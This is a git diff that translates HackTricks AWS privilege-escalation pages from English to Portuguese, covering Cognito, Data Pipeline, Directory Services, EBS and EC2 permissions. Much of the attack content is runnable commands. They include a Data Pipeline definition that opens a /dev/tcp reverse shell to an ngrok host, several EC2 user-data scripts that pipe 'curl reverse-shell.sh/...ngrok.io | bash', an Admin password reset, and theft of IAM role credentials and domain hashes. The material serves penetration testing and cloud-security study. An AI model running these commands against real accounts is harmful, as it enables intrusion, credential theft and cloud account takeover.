--user-pool-id \ - [--sms-mfa-configuration ] \ - [--software-token-mfa-configuration ] \ - [--mfa-configuration ] +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] ``` +**UpdateUserPool:** Também é possível atualizar o pool de usuários para alterar a política de MFA. [Verifique o cli aqui](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection. +**Potential Impact:** Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conhece, isso poderia permitir contornar a proteção de MFA. ### `cognito-idp:AdminUpdateUserAttributes` -An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\ -This allows to change an email or phone number and set it as verified. - +Um atacante com essa permissão poderia alterar o e-mail ou número de telefone ou qualquer outro atributo de um usuário sob seu controle para tentar obter mais privilégios em uma aplicação subjacente.\ +Isso permite alterar um e-mail ou número de telefone e defini-lo como verificado. ```bash aws cognito-idp admin-update-user-attributes \ - --user-pool-id \ - --username \ - --user-attributes +--user-pool-id \ +--username \ +--user-attributes ``` - -**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes. +**Impacto Potencial:** Potencial privesc indireto na aplicação subjacente usando o Cognito User Pool que concede privilégios com base em atributos do usuário. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period... +Um atacante com esta permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método de autenticação, não ter nenhum segredo, ter a revogação de tokens desativada, permitir que os tokens sejam válidos por um período mais longo... -The same can be be don if instead of creating a new client, an **existing one is modified**. - -In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!. +O mesmo pode ser feito se, em vez de criar um novo cliente, um **existente for modificado**. +Na [**linha de comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou no [**atualizar um**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira! ```bash aws cognito-idp create-user-pool-client \ - --user-pool-id \ - --client-name \ - [...] +--user-pool-id \ +--client-name \ +[...] ``` - -**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create. +**Impacto Potencial:** Potencial privesc indireto para o usuário autorizado do Identity Pool usado pelo User Pool ao criar um novo cliente que relaxa as medidas de segurança e possibilita que um atacante faça login com um usuário que ele conseguiu criar. ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` -An attacker could abuse this permission to create users y uploading a csv with new users. - +Um atacante poderia abusar dessa permissão para criar usuários fazendo upload de um csv com novos usuários. ```bash # Create a new import job aws cognito-idp create-user-import-job \ - --job-name \ - --user-pool-id \ - --cloud-watch-logs-role-arn +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn # Use a new import job aws cognito-idp start-user-import-job \ - --user-pool-id \ - --job-id +--user-pool-id \ +--job-id # Both options before will give you a URL where you can send the CVS file with the users to create curl -v -T "PATH_TO_CSV_FILE" \ - -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` +(No caso em que você cria um novo trabalho de importação, você também pode precisar da permissão iam passrole, ainda não testei isso). -(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet). - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -An attacker could create a new identity provider to then be able to **login through this provider**. - +Um atacante poderia criar um novo provedor de identidade para então poder **fazer login através deste provedor**. ```bash aws cognito-idp create-identity-provider \ - --user-pool-id \ - --provider-name \ - --provider-type \ - --provider-details \ - [--attribute-mapping ] \ - [--idp-identifiers ] +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] ``` +**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário. -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +### cognito-sync:\* Análise -### cognito-sync:\* Analysis +Esta é uma permissão muito comum por padrão em papéis de Pools de Identidade Cognito. Mesmo que um curinga em permissões sempre pareça ruim (especialmente vindo da AWS), as **permissões dadas não são super úteis do ponto de vista de um atacante**. -This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**. +Esta permissão permite ler informações de uso de Pools de Identidade e IDs de Identidade dentro de Pools de Identidade (que não são informações sensíveis).\ +IDs de Identidade podem ter [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) atribuídos a eles, que são informações das sessões (a AWS define isso como um **jogo salvo**). Pode ser possível que isso contenha algum tipo de informação sensível (mas a probabilidade é bem baixa). Você pode encontrar na [**página de enumeração**](../aws-services/aws-cognito-enum/) como acessar essas informações. -This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\ -Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information. +Um atacante também poderia usar essas permissões para **se inscrever em um stream Cognito que publica alterações** nesses datasets ou uma **lambda que é acionada em eventos cognito**. Eu não vi isso sendo usado, e não esperaria informações sensíveis aqui, mas não é impossível. -An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible. +### Ferramentas Automáticas -### Automatic Tools +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, papéis assumíveis em tokens de id, etc. -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +Para uma descrição das funções dos módulos, veja a parte 2 do [post do blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu). -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. - -#### Usage - -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Uso +Exemplo de uso do cognito\_\_attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Exemplo de uso do cognito\_\_enum para coletar todos os grupos de usuários, clientes de grupos de usuários, grupos de identidade, usuários, etc. visíveis na conta AWS atual: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques no Cognito, incluindo uma escalada de privilégios. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation. - -#### Installation - +#### Instalação ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Uso ```bash $ cognito-scanner --help ``` - -For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) +Para mais informações, consulte [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 82c82682e..5c145cef3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -For more info about datapipeline check: +Para mais informações sobre datapipeline, consulte: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,67 +12,57 @@ For more info about datapipeline check: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:** - +Usuários com essas **permissões podem escalar privilégios criando um Data Pipeline** para executar comandos arbitrários usando as **permissões do papel atribuído:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` - -After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations: - +Após a criação do pipeline, o atacante atualiza sua definição para ditar ações específicas ou criações de recursos: ```json { - "objects": [ - { - "id": "CreateDirectory", - "type": "ShellCommandActivity", - "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", - "runsOn": { "ref": "instance" } - }, - { - "id": "Default", - "scheduleType": "ondemand", - "failureAndRerunMode": "CASCADE", - "name": "Default", - "role": "assumable_datapipeline", - "resourceRole": "assumable_datapipeline" - }, - { - "id": "instance", - "name": "instance", - "type": "Ec2Resource", - "actionOnTaskFailure": "terminate", - "actionOnResourceFailure": "retryAll", - "maximumRetries": "1", - "instanceType": "t2.micro", - "securityGroups": ["default"], - "role": "assumable_datapipeline", - "resourceRole": "assumable_ec2_profile_instance" - } - ] +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] } ``` - > [!NOTE] -> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**. +> Note que a **função** nas **linhas 14, 15 e 27** precisa ser uma função **assumível por datapipeline.amazonaws.com** e a função na **linha 28** precisa ser uma **função assumível por ec2.amazonaws.com com um perfil de instância EC2**. > -> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one). - +> Além disso, a instância EC2 só terá acesso à função assumível pela instância EC2 (então você só pode roubar essa). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ - --pipeline-definition file:///pipeline/definition.json +--pipeline-definition file:///pipeline/definition.json ``` +O **arquivo de definição do pipeline, elaborado pelo atacante, inclui diretrizes para executar comandos** ou criar recursos via API da AWS, aproveitando as permissões de função do Data Pipeline para potencialmente ganhar privilégios adicionais. -The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges. +**Impacto Potencial:** Privesc direto para a função de serviço ec2 especificada. -**Potential Impact:** Direct privesc to the ec2 service role specified. - -## References +## Referências - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index ce24095ed..45f1e28ea 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Directory Services +## Serviços de Diretório -For more info about directory services check: +Para mais informações sobre serviços de diretório, consulte: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -12,27 +12,21 @@ For more info about directory services check: ### `ds:ResetUserPassword` -This permission allows to **change** the **password** of any **existent** user in the Active Directory.\ -By default, the only existent user is **Admin**. - +Esta permissão permite **mudar** a **senha** de qualquer **usuário existente** no Active Directory.\ +Por padrão, o único usuário existente é **Admin**. ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` - ### AWS Management Console -It's possible to enable an **application access URL** that users from AD can access to login: +É possível habilitar uma **URL de acesso ao aplicativo** que usuários do AD podem acessar para fazer login:
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console: +E então **conceder a eles uma função AWS IAM** para quando fizerem login, dessa forma um usuário/grupo do AD terá acesso ao console de gerenciamento da AWS:
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission +Aparentemente, não há como habilitar a URL de acesso ao aplicativo, o console de gerenciamento da AWS e conceder permissão {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index b4af46712..495d77bbf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,24 +4,20 @@ ## dynamodb -For more info about dynamodb check: +Para mais informações sobre dynamodb, consulte: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} -### Post Exploitation +### Pós Exploração -As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: +Até onde sei, não há **uma maneira direta de escalar privilégios na AWS apenas tendo algumas permissões do `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Read data abusing data Streams +### TODO: Ler dados abusando de Streams de dados {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 36ea3bc53..11fe58793 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,26 +6,22 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in: +Um atacante com essas permissões poderá **baixar e analisar snapshots de volumes localmente** e procurar informações sensíveis neles (como segredos ou código-fonte). Descubra como fazer isso em: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md {{#endref}} -Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` +Outras permissões também podem ser úteis, como: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` -The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. +A ferramenta [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) realiza esse ataque para **extrair senhas de um controlador de domínio**. -**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords). +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no snapshot (você pode até obter senhas do Active Directory). ### **`ec2:CreateSnapshot`** -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +Qualquer usuário da AWS que possua a permissão **`EC2:CreateSnapshot`** pode roubar os hashes de todos os usuários do domínio criando um **snapshot do Controlador de Domínio**, montando-o em uma instância que eles controlam e **exportando o arquivo NTDS.dit e o hive de registro SYSTEM** para uso com o projeto secretsdump do Impacket. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Você pode usar esta ferramenta para automatizar o ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ou pode usar uma das técnicas anteriores após criar um snapshot. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index ad31bde00..a40d0f016 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -For more **info about EC2** check: +Para mais **informações sobre EC2** consulte: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,51 +12,46 @@ For more **info about EC2** check: ### `iam:PassRole`, `ec2:RunInstances` -An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint. +Um atacante poderia **criar uma instância anexando um papel IAM e então acessar a instância** para roubar as credenciais do papel IAM do endpoint de metadados. -- **Access via SSH** - -Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`). +- **Acesso via SSH** +Execute uma nova instância usando uma **chave ssh** **criada** (`--key-name`) e então faça ssh nela (se você quiser criar uma nova, pode precisar da permissão `ec2:CreateKeyPair`). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name= --key-name \ - --security-group-ids +--iam-instance-profile Name= --key-name \ +--security-group-ids ``` +- **Acesso via rev shell em dados do usuário** -- **Access via rev shell in user data** - -You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way. - +Você pode executar uma nova instância usando um **dado do usuário** (`--user-data`) que enviará uma **rev shell** para você. Você não precisa especificar o grupo de segurança dessa forma. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name=E \ - --count 1 \ - --user-data "file:///tmp/rev.sh" +--iam-instance-profile Name=E \ +--count 1 \ +--user-data "file:///tmp/rev.sh" ``` - -Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: +Tenha cuidado com o GuardDuty se você usar as credenciais do papel IAM fora da instância: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles. +**Impacto Potencial:** Privesc direto para qualquer papel EC2 anexado a perfis de instância existentes. -#### Privesc to ECS - -With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. +#### Privesc para ECS +Com este conjunto de permissões, você também poderia **criar uma instância EC2 e registrá-la dentro de um cluster ECS**. Dessa forma, os **serviços** do ECS serão **executados** dentro da **instância EC2** onde você tem acesso e então você pode penetrar nesses serviços (contêineres docker) e **roubar seus papéis ECS anexados**. ```bash aws ec2 run-instances \ - --image-id ami-07fde2ae86109a2af \ - --instance-type t2.micro \ - --iam-instance-profile \ - --count 1 --key-name pwned \ - --user-data "file:///tmp/asd.sh" +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) # The EC2 instance profile needs basic ECS access @@ -64,22 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` - -To learn how to **force ECS services to be run** in this new EC2 instance check: +Para aprender como **forçar serviços ECS a serem executados** nesta nova instância EC2, verifique: {{#ref}} aws-ecs-privesc.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +Se você **não pode criar uma nova instância** mas tem a permissão `ecs:RegisterContainerInstance`, você pode ser capaz de registrar a instância dentro do cluster e realizar o ataque comentado. -**Potential Impact:** Direct privesc to ECS roles attached to tasks. +**Impacto Potencial:** Privesc direto para funções ECS anexadas a tarefas. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. - +Semelhante ao cenário anterior, um atacante com essas permissões poderia **mudar a função IAM de uma instância comprometida** para que ele pudesse roubar novas credenciais.\ +Como um perfil de instância pode ter apenas 1 função, se o perfil de instância **já tem uma função** (caso comum), você também precisará de **`iam:RemoveRoleFromInstanceProfile`**. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` +Se o **perfil da instância tiver um papel** e o atacante **não puder removê-lo**, há outra solução. Ele poderia **encontrar** um **perfil de instância sem um papel** ou **criar um novo** (`iam:CreateInstanceProfile`), **adicionar** o **papel** a esse **perfil de instância** (como discutido anteriormente) e **associar o perfil de instância** comprometido a uma instância comprometida: -If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** - -- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \* - +- Se a instância **não tiver nenhum perfil** de instância (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status específico de perfil de instância). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. - -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \* +Com essas permissões, é possível mudar o perfil de instância associado a uma instância, então se o ataque já tiver acesso a uma instância, ele poderá roubar credenciais para mais papéis de perfil de instância, mudando o que está associado a ela. +- Se **tiver um perfil de instância**, você pode **remover** o perfil de instância (`ec2:DisassociateIamInstanceProfile`) e **associá-lo** \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \* - +- ou **substituir** o **perfil da instância** da instância comprometida (`ec2:ReplaceIamInstanceProfileAssociation`). \* ```` ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` ```` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Impacto Potencial:** Privesc direto para um papel EC2 diferente (você precisa ter comprometido uma instância AWS EC2 e algumas permissões extras ou um status de perfil de instância específico). ### `ec2:RequestSpotInstances`,`iam:PassRole` -An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\ -Once the instance is run, he can **steal the IAM role**. - +Um atacante com as permissões **`ec2:RequestSpotInstances`e`iam:PassRole`** pode **solicitar** uma **Instância Spot** com um **Papel EC2 anexado** e um **rev shell** nos **dados do usuário**.\ +Uma vez que a instância é executada, ele pode **roubar o papel IAM**. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash ' | base64) aws ec2 request-spot-instances \ - --instance-count 1 \ - --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" +--instance-count 1 \ +--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}" ``` - ### `ec2:ModifyInstanceAttribute` -An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**. - -Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**. +Um atacante com o **`ec2:ModifyInstanceAttribute`** pode modificar os atributos das instâncias. Entre eles, ele pode **alterar os dados do usuário**, o que implica que ele pode fazer a instância **executar dados arbitrários.** Isso pode ser usado para obter um **rev shell na instância EC2**. +Observe que os atributos só podem ser **modificados enquanto a instância estiver parada**, então as **permissões** **`ec2:StopInstances`** e **`ec2:StartInstances`**. ```bash TEXT='Content-Type: multipart/mixed; boundary="//" MIME-Version: 1.0 @@ -171,125 +154,110 @@ printf $TEXT | base64 > "$TEXT_PATH" aws ec2 stop-instances --instance-ids $INSTANCE_ID aws ec2 modify-instance-attribute \ - --instance-id="$INSTANCE_ID" \ - --attribute userData \ - --value file://$TEXT_PATH +--instance-id="$INSTANCE_ID" \ +--attribute userData \ +--value file://$TEXT_PATH aws ec2 start-instances --instance-ids $INSTANCE_ID ``` - -**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance. +**Impacto Potencial:** Privesc direto para qualquer EC2 IAM Role anexado a uma instância criada. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell. - +Um atacante com as permissões **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` e `ec2:ModifyLaunchTemplate`** pode criar uma **nova versão do Launch Template** com um **rev shell em** os **dados do usuário** e **qualquer EC2 IAM Role 